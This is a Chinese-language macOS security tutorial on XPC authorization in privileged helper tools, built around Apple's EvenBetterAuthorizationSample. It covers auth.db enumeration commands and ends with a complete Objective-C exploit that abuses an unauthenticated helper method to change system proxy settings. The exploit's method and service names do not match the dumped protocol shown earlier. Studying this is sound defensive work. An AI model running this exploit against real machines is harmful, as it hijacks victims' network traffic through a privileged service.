XPC 授权
苹果还提出了另一种方法来验证连接进程是否具有 调用暴露的 XPC 方法的权限 。
当应用程序需要 以特权用户身份执行操作 时,通常不会以特权用户身份运行该应用,而是作为根用户安装一个 HelperTool 作为 XPC 服务,可以从应用中调用以执行这些操作。然而,调用该服务的应用应该具有足够的授权。
ShouldAcceptNewConnection 始终返回 YES
一个例子可以在 EvenBetterAuthorizationSample 中找到。在 App/AppDelegate.m
中,它尝试 连接 到 HelperTool 。而在 HelperTool/HelperTool.m
中,函数 shouldAcceptNewConnection
不会检查 之前提到的任何要求。它将始终返回 YES:
Copy - (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
// Called by our XPC listener when a new connection comes in. We configure the connection
// with our protocol and ourselves as the main object.
{
assert(listener == self.listener);
#pragma unused(listener)
assert(newConnection != nil);
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
newConnection.exportedObject = self;
[newConnection resume];
return YES;
}
有关如何正确配置此检查的更多信息,请参见:
macOS XPC Connecting Process Check 应用程序权限
然而,当调用 HelperTool 的方法时,确实存在一些 授权 。
App/AppDelegate.m
中的 applicationDidFinishLaunching
函数将在应用程序启动后创建一个空的授权引用。这应该始终有效。
然后,它将尝试通过调用 setupAuthorizationRights
来 添加一些权限 到该授权引用:
Copy - (void)applicationDidFinishLaunching:(NSNotification *)note
{
[...]
err = AuthorizationCreate(NULL, NULL, 0, &self->_authRef);
if (err == errAuthorizationSuccess) {
err = AuthorizationMakeExternalForm(self->_authRef, &extForm);
}
if (err == errAuthorizationSuccess) {
self.authorization = [[NSData alloc] initWithBytes:&extForm length:sizeof(extForm)];
}
assert(err == errAuthorizationSuccess);
// If we successfully connected to Authorization Services, add definitions for our default
// rights (unless they're already in the database).
if (self->_authRef) {
[Common setupAuthorizationRights:self->_authRef];
}
[self.window makeKeyAndOrderFront:self];
}
函数 setupAuthorizationRights
来自 Common/Common.m
,将把应用程序的权限存储在授权数据库 /var/db/auth.db
中。请注意,它只会添加尚未在数据库中的权限:
Copy + (void)setupAuthorizationRights:(AuthorizationRef)authRef
// See comment in header.
{
assert(authRef != NULL);
[Common enumerateRightsUsingBlock:^(NSString * authRightName, id authRightDefault, NSString * authRightDesc) {
OSStatus blockErr;
// First get the right. If we get back errAuthorizationDenied that means there's
// no current definition, so we add our default one.
blockErr = AuthorizationRightGet([authRightName UTF8String], NULL);
if (blockErr == errAuthorizationDenied) {
blockErr = AuthorizationRightSet(
authRef, // authRef
[authRightName UTF8String], // rightName
(__bridge CFTypeRef) authRightDefault, // rightDefinition
(__bridge CFStringRef) authRightDesc, // descriptionKey
NULL, // bundle (NULL implies main bundle)
CFSTR("Common") // localeTableName
);
assert(blockErr == errAuthorizationSuccess);
} else {
// A right already exists (err == noErr) or any other error occurs, we
// assume that it has been set up in advance by the system administrator or
// this is the second time we've run. Either way, there's nothing more for
// us to do.
}
}];
}
函数 enumerateRightsUsingBlock
用于获取应用程序权限,这些权限在 commandInfo
中定义:
Copy static NSString * kCommandKeyAuthRightName = @"authRightName";
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
static NSString * kCommandKeyAuthRightDesc = @"authRightDescription";
+ (NSDictionary *)commandInfo
{
static dispatch_once_t sOnceToken;
static NSDictionary * sCommandInfo;
dispatch_once(&sOnceToken, ^{
sCommandInfo = @{
NSStringFromSelector(@selector(readLicenseKeyAuthorization:withReply:)) : @{
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.readLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc : NSLocalizedString(
@"EBAS is trying to read its license key.",
@"prompt shown when user is required to authorize to read the license key"
)
},
NSStringFromSelector(@selector(writeLicenseKey:authorization:withReply:)) : @{
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.writeLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleAuthenticateAsAdmin,
kCommandKeyAuthRightDesc : NSLocalizedString(
@"EBAS is trying to write its license key.",
@"prompt shown when user is required to authorize to write the license key"
)
},
NSStringFromSelector(@selector(bindToLowNumberPortAuthorization:withReply:)) : @{
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.startWebService",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc : NSLocalizedString(
@"EBAS is trying to start its web service.",
@"prompt shown when user is required to authorize to start the web service"
)
}
};
});
return sCommandInfo;
}
+ (NSString *)authorizationRightForCommand:(SEL)command
// See comment in header.
{
return [self commandInfo][NSStringFromSelector(command)][kCommandKeyAuthRightName];
}
+ (void)enumerateRightsUsingBlock:(void (^)(NSString * authRightName, id authRightDefault, NSString * authRightDesc))block
// Calls the supplied block with information about each known authorization right..
{
[self.commandInfo enumerateKeysAndObjectsUsingBlock:^(id key, id obj, BOOL *stop) {
#pragma unused(key)
#pragma unused(stop)
NSDictionary * commandDict;
NSString * authRightName;
id authRightDefault;
NSString * authRightDesc;
// If any of the following asserts fire it's likely that you've got a bug
// in sCommandInfo.
commandDict = (NSDictionary *) obj;
assert([commandDict isKindOfClass:[NSDictionary class]]);
authRightName = [commandDict objectForKey:kCommandKeyAuthRightName];
assert([authRightName isKindOfClass:[NSString class]]);
authRightDefault = [commandDict objectForKey:kCommandKeyAuthRightDefault];
assert(authRightDefault != nil);
authRightDesc = [commandDict objectForKey:kCommandKeyAuthRightDesc];
assert([authRightDesc isKindOfClass:[NSString class]]);
block(authRightName, authRightDefault, authRightDesc);
}];
}
这意味着在这个过程结束时,commandInfo
中声明的权限将存储在 /var/db/auth.db
中。请注意,您可以找到 每个方法 需要 身份验证 的 权限名称 和 kCommandKeyAuthRightDefault
。后者 指示谁可以获得此权限 。
有不同的范围来指示谁可以访问某个权限。其中一些在 AuthorizationDB.h 中定义(您可以在这里找到 所有权限 ),但总结如下:
名称 值 描述 kAuthorizationRuleClassAllow
kAuthorizationRuleClassDeny
kAuthorizationRuleIsAdmin
kAuthorizationRuleAuthenticateAsSessionUser
authenticate-session-owner
kAuthorizationRuleAuthenticateAsAdmin
要求用户进行身份验证。他需要是管理员(在管理员组内)
权限验证
在 HelperTool/HelperTool.m
中,函数 readLicenseKeyAuthorization
检查调用者是否被授权 执行此方法 ,通过调用函数 checkAuthorization
。此函数将检查调用进程发送的 authData 是否具有 正确格式 ,然后检查 获取调用特定方法的权限所需的内容 。如果一切顺利,返回的 error
将为 nil
:
Copy - (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{
[...]
// First check that authData looks reasonable.
error = nil;
if ( (authData == nil) || ([authData length] != sizeof(AuthorizationExternalForm)) ) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:paramErr userInfo:nil];
}
// Create an authorization ref from that the external form data contained within.
if (error == nil) {
err = AuthorizationCreateFromExternalForm([authData bytes], &authRef);
// Authorize the right associated with the command.
if (err == errAuthorizationSuccess) {
AuthorizationItem oneRight = { NULL, 0, NULL, 0 };
AuthorizationRights rights = { 1, &oneRight };
oneRight.name = [[Common authorizationRightForCommand:command] UTF8String];
assert(oneRight.name != NULL);
err = AuthorizationCopyRights(
authRef,
&rights,
NULL,
kAuthorizationFlagExtendRights | kAuthorizationFlagInteractionAllowed,
NULL
);
}
if (err != errAuthorizationSuccess) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:err userInfo:nil];
}
}
if (authRef != NULL) {
junk = AuthorizationFree(authRef, 0);
assert(junk == errAuthorizationSuccess);
}
return error;
}
注意,要检查获取调用该方法的权限 ,函数 authorizationRightForCommand
只会检查之前的注释对象 commandInfo
。然后,它将调用 AuthorizationCopyRights
来检查 是否具有调用该函数的权限 (注意,标志允许与用户交互)。
在这种情况下,要调用函数 readLicenseKeyAuthorization
,kCommandKeyAuthRightDefault
被定义为 @kAuthorizationRuleClassAllow
。因此,任何人都可以调用它 。
DB 信息
提到这些信息存储在 /var/db/auth.db
。您可以使用以下命令列出所有存储的规则:
Copy sudo sqlite3 / var / db / auth.db
SELECT name FROM rules;
SELECT name FROM rules WHERE name LIKE '%safari%' ;
然后,您可以通过以下方式查看谁可以访问该权限:
Copy security authorizationdb read com.apple.safaridriver.allow
宽松权限
您可以在这里 找到所有权限配置 ,但不需要用户交互的组合如下:
'authenticate-user': 'false'
这是最直接的键。如果设置为false
,则表示用户不需要提供身份验证即可获得此权限。
这与下面的两个中的一个或指示用户必须属于的组结合使用。
如果用户以root用户身份操作(具有提升的权限),并且此键设置为true
,则root用户可能在没有进一步身份验证的情况下获得此权限。然而,通常情况下,获得root用户状态已经需要身份验证,因此对于大多数用户来说,这并不是一个“无身份验证”的场景。
如果设置为true
,会话的所有者(当前登录的用户)将自动获得此权限。如果用户已经登录,这可能会绕过额外的身份验证。
此键不在没有身份验证的情况下授予权限。相反,如果设置为true
,则意味着一旦权限经过身份验证,它可以在多个进程之间共享,而无需每个进程重新进行身份验证。但初始授予权限仍然需要身份验证,除非与其他键结合使用,如'authenticate-user': 'false'
。
您可以使用此脚本 来获取有趣的权限:
Copy Rights with 'authenticate-user' : 'false' :
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
Rights with 'allow-root' : 'true' :
com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek, com-apple-openscripting-additions-send, com-apple-reportpanic-fixright, com-apple-servicemanagement-blesshelper, com-apple-xtype-fontmover-install, com-apple-xtype-fontmover-remove, com-apple-dt-instruments-process-analysis, com-apple-dt-instruments-process-kill, com-apple-pcastagentconfigd-wildcard, com-apple-trust-settings-admin, com-apple-wifivelocity, com-apple-wireless-diagnostics, is-root, system-install-iap-software, system-install-software, system-install-software-iap, system-preferences, system-preferences-accounts, system-preferences-datetime, system-preferences-energysaver, system-preferences-network, system-preferences-printing, system-preferences-security, system-preferences-sharing, system-preferences-softwareupdate, system-preferences-startupdisk, system-preferences-timemachine, system-print-operator, system-privilege-admin, system-services-networkextension-filtering, system-services-networkextension-vpn, system-services-systemconfiguration-network, system-sharepoints-wildcard
Rights with 'session-owner' : 'true' :
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui
反向授权
检查是否使用了 EvenBetterAuthorization
如果你发现函数:[HelperTool checkAuthorization:command:]
,那么这个进程可能正在使用前面提到的授权方案:
如果这个函数调用了诸如 AuthorizationCreateFromExternalForm
、authorizationRightForCommand
、AuthorizationCopyRights
、AuhtorizationFree
的函数,那么它正在使用 EvenBetterAuthorizationSample 。
检查 /var/db/auth.db
以查看是否可以在没有用户交互的情况下获取调用某些特权操作的权限。
协议通信
然后,你需要找到协议架构,以便能够与 XPC 服务建立通信。
函数 shouldAcceptNewConnection
表示正在导出的协议:
在这种情况下,我们与 EvenBetterAuthorizationSample 中的相同,查看这一行 。
知道所使用的协议名称后,可以使用以下命令 转储其头部定义 :
Copy class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
[...]
@protocol HelperToolProtocol
- (void)overrideProxySystemWithAuthorization:(NSData *)arg1 setting:(NSDictionary *)arg2 reply:(void (^)(NSError *))arg3;
- (void)revertProxySystemWithAuthorization:( NSData * )arg1 restore:( BOOL )arg2 reply:( void (^)( NSError * ))arg3;
- (void)legacySetProxySystemPreferencesWithAuthorization:(NSData *)arg1 enabled:(BOOL)arg2 host:(NSString *)arg3 port:(NSString *)arg4 reply:(void (^)(NSError *, BOOL))arg5;
- (void)getVersionWithReply:( void (^)( NSString * ))arg1;
- (void)connectWithEndpointReply:( void (^)( NSXPCListenerEndpoint * ))arg1;
@end
[...]
最后,我们只需要知道暴露的 Mach 服务的名称 以便与之建立通信。有几种方法可以找到它:
在**[HelperTool init]
**中,您可以看到正在使用的 Mach 服务:
Copy cat /Library/LaunchDaemons/com.example.HelperTool.plist
[...]
< key >MachServices</ key >
< dict >
< key >com.example.HelperTool</ key >
< true />
</ dict >
[...]
Exploit Example
在这个例子中创建了:
Copy // gcc -framework Foundation -framework Security expl.m -o expl
#import <Foundation/Foundation.h>
#import <Security/Security.h>
// Define a unique service name for the XPC helper
static NSString* XPCServiceName = @"com.example.XPCHelper";
// Define the protocol for the helper tool
@protocol XPCHelperProtocol
- (void)applyProxyConfigWithAuthorization:(NSData *)authData settings:(NSDictionary *)settings reply:(void (^)(NSError *))callback;
- (void)resetProxyConfigWithAuthorization:(NSData *)authData restoreDefault:(BOOL)shouldRestore reply:(void (^)(NSError *))callback;
- (void)legacyConfigureProxyWithAuthorization:(NSData *)authData enabled:(BOOL)isEnabled host:(NSString *)hostAddress port:(NSString *)portNumber reply:(void (^)(NSError *, BOOL))callback;
- (void)fetchVersionWithReply:(void (^)(NSString *))callback;
- (void)establishConnectionWithReply:(void (^)(NSXPCListenerEndpoint *))callback;
@end
int main(void) {
NSData *authData;
OSStatus status;
AuthorizationExternalForm authForm;
AuthorizationRef authReference = {0};
NSString *proxyAddress = @"127.0.0.1";
NSString *proxyPort = @"4444";
Boolean isProxyEnabled = true;
// Create an empty authorization reference
status = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authReference);
const char* errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
// Convert the authorization reference to an external form
if (status == errAuthorizationSuccess) {
status = AuthorizationMakeExternalForm(authReference, &authForm);
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}
// Convert the external form to NSData for transmission
if (status == errAuthorizationSuccess) {
authData = [[NSData alloc] initWithBytes:&authForm length:sizeof(authForm)];
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}
// Ensure the authorization was successful
assert(status == errAuthorizationSuccess);
// Establish an XPC connection
NSString *serviceName = XPCServiceName;
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:0x1000];
NSXPCInterface *xpcInterface = [NSXPCInterface interfaceWithProtocol:@protocol(XPCHelperProtocol)];
[xpcConnection setRemoteObjectInterface:xpcInterface];
[xpcConnection resume];
// Handle errors for the XPC connection
id remoteProxy = [xpcConnection remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"[-] Connection error");
NSLog(@"[-] Error: %@", error);
}];
// Log the remote proxy and connection objects
NSLog(@"Remote Proxy: %@", remoteProxy);
NSLog(@"XPC Connection: %@", xpcConnection);
// Use the legacy method to configure the proxy
[remoteProxy legacyConfigureProxyWithAuthorization:authData enabled:isProxyEnabled host:proxyAddress port:proxyPort reply:^(NSError *error, BOOL success) {
NSLog(@"Response: %@", error);
}];
// Allow some time for the operation to complete
[NSThread sleepForTimeInterval:10.0f];
NSLog(@"Finished!");
}
其他被滥用的 XPC 权限助手
参考文献